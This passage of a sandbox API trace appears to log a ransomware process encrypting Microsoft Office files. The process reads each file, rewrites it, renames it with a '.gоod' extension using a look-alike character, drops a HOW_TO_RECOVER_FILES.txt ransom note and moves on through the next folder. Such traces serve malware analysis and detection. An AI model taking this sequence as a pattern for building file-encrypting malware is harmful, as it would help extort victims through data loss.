0x768 [0185.965] GetFileType (hFile=0x768) returned 0x1 [0185.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.965] GetFileType (hFile=0x768) returned 0x1 [0185.965] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0xc002 [0185.965] WriteFile (in: hFile=0x768, lpBuffer=0x3832db0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3832db0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0185.966] CloseHandle (hObject=0x768) returned 1 [0185.966] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0185.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.967] GetFileType (hFile=0x768) returned 0x1 [0185.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.967] GetFileType (hFile=0x768) returned 0x1 [0185.967] ReadFile (in: hFile=0x768, lpBuffer=0x3835268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3835268*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0187.228] CloseHandle (hObject=0x768) returned 1 [0187.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0187.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0187.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0187.229] GetFileType (hFile=0x768) returned 0x1 [0187.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0187.229] GetFileType (hFile=0x768) returned 0x1 [0187.229] WriteFile (in: hFile=0x768, lpBuffer=0x3650400*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3650400*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0187.229] CloseHandle (hObject=0x768) returned 1 [0187.229] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0187.229] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4e [0187.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0187.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd09ea90c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd09ea90c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6bcf0d5d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc012)) returned 1 [0187.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0187.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0187.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0187.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0187.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0187.231] GetFileType (hFile=0x768) returned 0x1 [0187.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0187.231] GetFileType (hFile=0x768) returned 0x1 [0187.232] WriteFile (in: hFile=0x768, lpBuffer=0x38fc110*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x38fc110*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0187.233] CloseHandle (hObject=0x768) returned 1 [0187.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0187.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages", lpFilePart=0x0) returned 0x3a [0187.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd350 [0188.001] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.005] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-100.png", cAlternateFileName="EXDF79~1.PNG")) returned 1 [0188.005] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-140.png", cAlternateFileName="EX9DAA~1.PNG")) returned 1 [0188.005] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-180.png", cAlternateFileName="EXD3EA~1.PNG")) returned 1 [0188.005] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-80.png", cAlternateFileName="EX9BE5~1.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-100.png", cAlternateFileName="EXC172~1.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-140.png", cAlternateFileName="EXCELL~3.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-180.png", cAlternateFileName="EX529E~1.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-80.png", cAlternateFileName="EXCELL~1.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x929, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-100.png", cAlternateFileName="EXCELL~4.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-140.png", cAlternateFileName="EXCELL~2.PNG")) returned 1 [0188.006] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-180.png", cAlternateFileName="EX5FD7~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x839, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-80.png", cAlternateFileName="EXDA38~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-100.png", cAlternateFileName="EX71FE~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-140.png", cAlternateFileName="EXCE73~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-180.png", cAlternateFileName="EX8CA4~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-80.png", cAlternateFileName="EX98BE~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x725, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-100.png", cAlternateFileName="EX82AE~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-140.png", cAlternateFileName="EXB07C~1.PNG")) returned 1 [0188.007] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-180.png", cAlternateFileName="EX0EF0~1.PNG")) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-80.png", cAlternateFileName="EX8CE6~1.PNG")) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-100.png", cAlternateFileName="EX3CF4~1.PNG")) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x870, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-140.png", cAlternateFileName="EX3590~1.PNG")) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-180.png", cAlternateFileName="EXE70C~1.PNG")) returned 1 [0188.008] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-80.png", cAlternateFileName="EX97E8~1.PNG")) returned 1 [0188.011] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-100.png", cAlternateFileName="FIRSTR~4.PNG")) returned 1 [0188.011] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-140.png", cAlternateFileName="FIRSTR~3.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa81, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-180.png", cAlternateFileName="FI9FD2~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-80.png", cAlternateFileName="FI357C~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-100.png", cAlternateFileName="FIRSTR~2.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-140.png", cAlternateFileName="FIRSTR~1.PNG")) returned 1 [0188.012] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, 